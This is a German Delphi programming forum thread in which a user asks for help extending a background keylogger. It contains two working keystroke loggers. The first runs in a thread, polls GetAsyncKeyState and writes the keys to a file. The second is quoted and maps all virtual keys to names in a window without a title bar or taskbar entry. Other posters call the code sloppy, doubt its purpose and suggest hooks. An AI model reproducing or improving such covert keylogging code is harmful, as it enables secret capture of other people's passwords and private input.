Autor Beitrag
stigge
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 426

WinXP
Delphi 2007
BeitragVerfasst: So 01.04.07 18:23 
Wie kann ich prüfen lassen, ob z.B. VK_MENU gedrückt ist?
Sollte aber nicht über onkeydown laufen.
Am besten so:
ausblenden Delphi-Quelltext
1:
2:
if VK_MENU = pressed then
begin...

Geht das irgendwie?
Gausi
ontopic starontopic starontopic starontopic starontopic starontopic starofftopic starofftopic star
Beiträge: 8548
Erhaltene Danke: 477

Windows 7, Windows 10
D7 PE, Delphi XE3 Prof, Delphi 10.3 CE
BeitragVerfasst: So 01.04.07 18:27 
Da der ganze Eingabe-Krempel bei Delphi Ereignis-orientiert abläuft, ist die Verwendung von Sochen wie OnKeyDown/OnKeyPressed dringenst zu empfehlen. Man könnte in einer Endllosschleife den Tastaturstatus abfragen, aber sowas macht man eigentlich nicht.

Warum soll es denn nicht über KeyDown laufen?

_________________
We are, we were and will not be.
stigge Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 426

WinXP
Delphi 2007
BeitragVerfasst: So 01.04.07 19:30 
user profile iconGausi hat folgendes geschrieben:
Da der ganze Eingabe-Krempel bei Delphi Ereignis-orientiert abläuft, ist die Verwendung von Sochen wie OnKeyDown/OnKeyPressed dringenst zu empfehlen. Man könnte in einer Endllosschleife den Tastaturstatus abfragen, aber sowas macht man eigentlich nicht.

Warum soll es denn nicht über KeyDown laufen?

Ist bei mir nicht möglich, weil es im Hintergrunf abläuft. Geht das nicht irgendwie mit getasynckeystate(VK_MENU)?
Magic J
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 66

WinXP Prof., Vista
Delphi6, Delphi 2009, Java(Eclipse), C++, Basic
BeitragVerfasst: So 01.04.07 19:44 
Hi,

wie wär´s damit:

ausblenden Delphi-Quelltext
1:
2:
3:
If (GetAsyncKeystate(VK_Menu))<>0 Then Begin

End;
stigge Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 426

WinXP
Delphi 2007
BeitragVerfasst: So 01.04.07 20:38 
Ist vlt besser, wenn ich mal meinen Code reinstelle:
ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
procedure keylogger;
var i: integer;
begin
while true do
begin
for i := 10 to 170 do
if boolean(getasynckeystate(i)) then
begin
write(schreiben, char(i));
end;
If Keyup(VK_Menu)<>0 Then //
Begin                     //Hier mein Versuch, noch mehr Zeichen aufzuschreiben
write(schreiben, '*ALT*');//
end;
sleep(10);
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
createthread(0,0,@keylogger,nil,0,tid);
end;

Die Buchstabentasten aufzuschreiben klappt ja, auch wenn alle Buchstaben groß sind. Wie kann ich jetzt aber noch andere Tasten aufschreiben lassen?
Karlson
ontopic starontopic starontopic starontopic starontopic starofftopic starofftopic starofftopic star
Beiträge: 2088



BeitragVerfasst: So 01.04.07 20:45 
Les mal in dem Thread aus dem das rauskopiert hast etwas weiter. Ich bin mir nicht mehr sicher wer es war (ich glaube user profile iconFearOfTheDark :?: hat damals eine Prozedur gepostet in der praktisch alle Keys erkannt werden.

So wie du das bis jetzt hast ist das übrigens doppelt gemoppelt ;)

Du frägst doch in der for i:=1 to ... Schleife schon alles ab. Für welche Zahl VK_MENU steht weiss ich jetzt nicht auswendig (kannst du mit showmessage(inttostr(vk_menu)) rausfinden.
stigge Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 426

WinXP
Delphi 2007
BeitragVerfasst: So 01.04.07 20:49 
user profile iconKarlson hat folgendes geschrieben:
Les mal in dem Thread aus dem das rauskopiert hast etwas weiter. Ich bin mir nicht mehr sicher wer es war (ich glaube user profile iconFearOfTheDark :?: hat damals eine Prozedur gepostet in der praktisch alle Keys erkannt werden.

So wie du das bis jetzt hast ist das übrigens doppelt gemoppelt ;)

Du frägst doch in der for i:=1 to ... Schleife schon alles ab. Für welche Zahl VK_MENU steht weiss ich jetzt nicht auswendig (kannst du mit showmessage(inttostr(vk_menu)) rausfinden.

Ja, weil viele Tasten werden gar nicht oder falsch erkannt

//Edit: Die Version, die du meinst, funktioniert eigentlich schlechter als die erste. Kannst du mir erklären, wie ich noch mehr Tasten dazubekomme? Ich verstehe nämlich die for to do Schleife nicht
Karlson
ontopic starontopic starontopic starontopic starontopic starofftopic starofftopic starofftopic star
Beiträge: 2088



BeitragVerfasst: So 01.04.07 20:56 
Ich zietiere einfach mal Luckie (der den Code kritisiert hat), da in seinem Posting das stand was ich meinte:

user profile iconLuckie hat folgendes geschrieben:
Keinen Kommentar:
ausblenden volle Höhe Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: byte;
  t: String;
begin
Timer1.Interval := 10;
for i := 0 to 254 do
        if boolean(getasynckeystate(i)) then
          begin
            if i = 1 then t:='MausLinks';
            if i = 2 then t:='MausRechts';
            if i = 4 then t:='MausRad';
            if i = 5 then t:='MausForward';
            if i = 6 then t:='MausBack';
            if i = 8 then t:='Return';
            if i = 9 then t:='Tab';
            if i = 13 then t:='Enter';
            if i = 19 then t:='Pause';
            if i = 20 then t:='Feststell';
            if i = 27 then t:='Esc';
            if i = 32 then t:=' ';
            if i = 33 then t:='BildAuf';
            if i = 34 then t:='BildAb';
            if i = 35 then t:='Ende';
            if i = 36 then t:='Pos1';
            if i = 37 then t:='Links';
            if i = 38 then t:='Oben';
            if i = 39 then t:='Rechts';
            if i = 40 then t:='Unten';
            if i = 44 then t:='Druck';
            if i = 45 then t:='Einfügen';
            if i = 46 then t:='Entfernen';
            if i = 48 then t:='0';
            if i = 49 then t:='1';
            if i = 50 then t:='2';
            if i = 51 then t:='3';
            if i = 52 then t:='4';
            if i = 53 then t:='5';
            if i = 54 then t:='6';
            if i = 55 then t:='7';
            if i = 56 then t:='8';
            if i = 57 then t:='9';
            if i = 65 then t:='A';
            if i = 66 then t:='B';
            if i = 67 then t:='C';
            if i = 68 then t:='D';
            if i = 69 then t:='E';
            if i = 70 then t:='F';
            if i = 71 then t:='G';
            if i = 72 then t:='H';
            if i = 73 then t:='I';
            if i = 74 then t:='J';
            if i = 75 then t:='K';
            if i = 76 then t:='L';
            if i = 77 then t:='M';
            if i = 78 then t:='N';
            if i = 79 then t:='O';
            if i = 80 then t:='P';
            if i = 81 then t:='Q';
            if i = 82 then t:='R';
            if i = 83 then t:='S';
            if i = 84 then t:='T';
            if i = 85 then t:='U';
            if i = 86 then t:='V';
            if i = 87 then t:='W';
            if i = 88 then t:='X';
            if i = 89 then t:='Y';
            if i = 90 then t:='Z';
            if i = 91 then t:='Windows';
            if i = 92 then t:='WindowsRechts';
            if i = 93 then t:='Tasks';
            if i = 97 then t:='Num1';
            if i = 98 then t:='Num2';
            if i = 99 then t:='Num3';
            if i = 100 then t:='Num4';
            if i = 101 then t:='Num5';
            if i = 102 then t:='Num6';
            if i = 103 then t:='Num7';
            if i = 104 then t:='Num8';
            if i = 105 then t:='Num9';
            if i = 106 then t:='Num*';
            if i = 107 then t:='Num+';
            if i = 109 then t:='Num-';
            if i = 110 then t:='Num,';
            if i = 111 then t:='Num/';
            if i = 112 then t:='F1';
            if i = 113 then Form1.Show;
            if i = 114 then t:='F3';
            if i = 115 then t:='F4';
            if i = 116 then t:='F5';
            if i = 117 then t:='F6';
            if i = 118 then t:='F7';
            if i = 119 then t:='F8';
            if i = 120 then t:='F9';
            if i = 121 then t:='F10';
            if i = 122 then t:='F11';
            if i = 123 then t:='F12';
            if i = 144 then t:='Num';
            if i = 145 then t:='Rollen';
            if i = 160 then t:='Schift';
            if i = 162 then t:='STRGLinks';
            if i = 163 then t:='STRGRechts';
            if i = 164 then t:='Alt';
            if i = 165 then t:='AltGroß';
            if i = 187 then t:='+';
            if i = 188 then t:=',';
            if i = 189 then t:='-';
            if i = 190 then t:='.';
            if i = 191 then t:='#';
            if i = 220 then t:='^';
            //Das hier muss so lang sein sonst geht des mim abragen net so gut ;-)
            Edit1.Text := Edit1.Text + t;
          end;
      sleep(10);
if Edit1.getTextLen = 75 then
 begin
  Liste.Add(Edit1.Text);
  Edit1.Text := '';
  Memo1.Text := Liste.Text;
end;

:-?

Desweiteren läßt sich das nicht kompilieren, weil die falschen Dateien mitgeliefert werden.

Und warum hat das Fenster keine Titelzeile? Warum hat es keinen Eintrag in der Taskbar? Verliert es einmal den Fokus kommt man nur über Alt+TAB wieder an das Fenster.


Ich denke du suchst sowas in der Richtung, kann das sein? Luckie hat mich seinem harten Urteil schon recht, du solltest lieber den Code von Luckie und Aya benutzen. Sowas funktioniert zwar aber ist wohl pfusch ;)

edit: Der gepostete Code stammt nicht von Luckie. Ich glaube das würde er mir übel nehmen wenn durch den Thread der Anschein erweckt werden könnte ;)


Zuletzt bearbeitet von Karlson am So 01.04.07 20:59, insgesamt 1-mal bearbeitet
stigge Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 426

WinXP
Delphi 2007
BeitragVerfasst: So 01.04.07 20:59 
user profile iconKarlson hat folgendes geschrieben:
Ich zietiere einfach mal Luckie (der den Code kritisiert hat), da in seinem Posting das stand was ich meinte:

user profile iconLuckie hat folgendes geschrieben:
Keinen Kommentar:
ausblenden volle Höhe Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: byte;
  t: String;
begin
Timer1.Interval := 10;
for i := 0 to 254 do
        if boolean(getasynckeystate(i)) then
          begin
            if i = 1 then t:='MausLinks';
            if i = 2 then t:='MausRechts';
            if i = 4 then t:='MausRad';
            if i = 5 then t:='MausForward';
            if i = 6 then t:='MausBack';
            if i = 8 then t:='Return';
            if i = 9 then t:='Tab';
            if i = 13 then t:='Enter';
            if i = 19 then t:='Pause';
            if i = 20 then t:='Feststell';
            if i = 27 then t:='Esc';
            if i = 32 then t:=' ';
            if i = 33 then t:='BildAuf';
            if i = 34 then t:='BildAb';
            if i = 35 then t:='Ende';
            if i = 36 then t:='Pos1';
            if i = 37 then t:='Links';
            if i = 38 then t:='Oben';
            if i = 39 then t:='Rechts';
            if i = 40 then t:='Unten';
            if i = 44 then t:='Druck';
            if i = 45 then t:='Einfügen';
            if i = 46 then t:='Entfernen';
            if i = 48 then t:='0';
            if i = 49 then t:='1';
            if i = 50 then t:='2';
            if i = 51 then t:='3';
            if i = 52 then t:='4';
            if i = 53 then t:='5';
            if i = 54 then t:='6';
            if i = 55 then t:='7';
            if i = 56 then t:='8';
            if i = 57 then t:='9';
            if i = 65 then t:='A';
            if i = 66 then t:='B';
            if i = 67 then t:='C';
            if i = 68 then t:='D';
            if i = 69 then t:='E';
            if i = 70 then t:='F';
            if i = 71 then t:='G';
            if i = 72 then t:='H';
            if i = 73 then t:='I';
            if i = 74 then t:='J';
            if i = 75 then t:='K';
            if i = 76 then t:='L';
            if i = 77 then t:='M';
            if i = 78 then t:='N';
            if i = 79 then t:='O';
            if i = 80 then t:='P';
            if i = 81 then t:='Q';
            if i = 82 then t:='R';
            if i = 83 then t:='S';
            if i = 84 then t:='T';
            if i = 85 then t:='U';
            if i = 86 then t:='V';
            if i = 87 then t:='W';
            if i = 88 then t:='X';
            if i = 89 then t:='Y';
            if i = 90 then t:='Z';
            if i = 91 then t:='Windows';
            if i = 92 then t:='WindowsRechts';
            if i = 93 then t:='Tasks';
            if i = 97 then t:='Num1';
            if i = 98 then t:='Num2';
            if i = 99 then t:='Num3';
            if i = 100 then t:='Num4';
            if i = 101 then t:='Num5';
            if i = 102 then t:='Num6';
            if i = 103 then t:='Num7';
            if i = 104 then t:='Num8';
            if i = 105 then t:='Num9';
            if i = 106 then t:='Num*';
            if i = 107 then t:='Num+';
            if i = 109 then t:='Num-';
            if i = 110 then t:='Num,';
            if i = 111 then t:='Num/';
            if i = 112 then t:='F1';
            if i = 113 then Form1.Show;
            if i = 114 then t:='F3';
            if i = 115 then t:='F4';
            if i = 116 then t:='F5';
            if i = 117 then t:='F6';
            if i = 118 then t:='F7';
            if i = 119 then t:='F8';
            if i = 120 then t:='F9';
            if i = 121 then t:='F10';
            if i = 122 then t:='F11';
            if i = 123 then t:='F12';
            if i = 144 then t:='Num';
            if i = 145 then t:='Rollen';
            if i = 160 then t:='Schift';
            if i = 162 then t:='STRGLinks';
            if i = 163 then t:='STRGRechts';
            if i = 164 then t:='Alt';
            if i = 165 then t:='AltGroß';
            if i = 187 then t:='+';
            if i = 188 then t:=',';
            if i = 189 then t:='-';
            if i = 190 then t:='.';
            if i = 191 then t:='#';
            if i = 220 then t:='^';
            //Das hier muss so lang sein sonst geht des mim abragen net so gut ;-)
            Edit1.Text := Edit1.Text + t;
          end;
      sleep(10);
if Edit1.getTextLen = 75 then
 begin
  Liste.Add(Edit1.Text);
  Edit1.Text := '';
  Memo1.Text := Liste.Text;
end;

:-?

Desweiteren läßt sich das nicht kompilieren, weil die falschen Dateien mitgeliefert werden.

Und warum hat das Fenster keine Titelzeile? Warum hat es keinen Eintrag in der Taskbar? Verliert es einmal den Fokus kommt man nur über Alt+TAB wieder an das Fenster.


Ich denke du suchst sowas in der Richtung, kann das sein? Luckie hat mich seinem harten Urteil schon recht, du solltest lieber den Code von Luckie und Aya benutzen. Sowas funktioniert zwar aber ist wohl pfusch ;)

Bei dieser Version werden aber einige Systemresourcen verbraucht oder?
Karlson
ontopic starontopic starontopic starontopic starontopic starofftopic starofftopic starofftopic star
Beiträge: 2088



BeitragVerfasst: So 01.04.07 21:03 
Nicht (wirklich) mehr als im Thread, wobei die 100 If-Abfragen natürlich schon etwas mehr Zeit beanspruchen. Wenn dann würde ich es aber in den Thread wieder auslagern.

Aber sowas ist doch Schrott ;) Machs sauber, dann lernste was. Oder machs garnicht, ich kann mir eh nicht vorstellen dass du mit dem Code was sinnvolles anstellen willst...;)

Ne echt jetzt. Hooks sind wirklich eine sehr interessante Sache, kann ich nur empfehlen sich mal etwas mit auseinander zu setzen! :)
stigge Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 426

WinXP
Delphi 2007
BeitragVerfasst: So 01.04.07 21:09 
user profile iconKarlson hat folgendes geschrieben:
Nicht (wirklich) mehr als im Thread, wobei die 100 If-Abfragen natürlich schon etwas mehr Zeit beanspruchen. Wenn dann würde ich es aber in den Thread wieder auslagern.

Aber sowas ist doch Schrott ;) Machs sauber, dann lernste was. Oder machs garnicht, ich kann mir eh nicht vorstellen dass du mit dem Code was sinnvolles anstellen willst...;)

Ne echt jetzt. Hooks sind wirklich eine sehr interessante Sache, kann ich nur empfehlen sich mal etwas mit auseinander zu setzen! :)

Ich mach schon keinen Mist aber es ist schön anzusehen, wenn man bedenkt, das in Hacking-Foren alle unsichtbare Keylogger wollen und man selber sowas hat. (aber ihn natürlich nur auf dem eigenen Computer benutzt)
Karlson
ontopic starontopic starontopic starontopic starontopic starofftopic starofftopic starofftopic star
Beiträge: 2088



BeitragVerfasst: So 01.04.07 21:12 
Aha...und du gehst jetzt in die Hackingforen und lässt raushängen das du sowas "selber" schreiben kannst? Na dann viel spass...
stigge Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 426

WinXP
Delphi 2007
BeitragVerfasst: So 01.04.07 21:23 
user profile iconKarlson hat folgendes geschrieben:
Aha...und du gehst jetzt in die Hackingforen und lässt raushängen das du sowas "selber" schreiben kannst? Na dann viel spass...

Hast mich irgendwie falsch verstanden...Hab ich so eigentlich nicht gemeint
stigge Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 426

WinXP
Delphi 2007
BeitragVerfasst: So 01.04.07 21:31 
Auf jeden Fall danke für die Hilfe :wink:
Karlson
ontopic starontopic starontopic starontopic starontopic starofftopic starofftopic starofftopic star
Beiträge: 2088



BeitragVerfasst: So 01.04.07 21:33 
Da stand aber eben noch was anderes...aber wie auch immer, viel spass damit ;)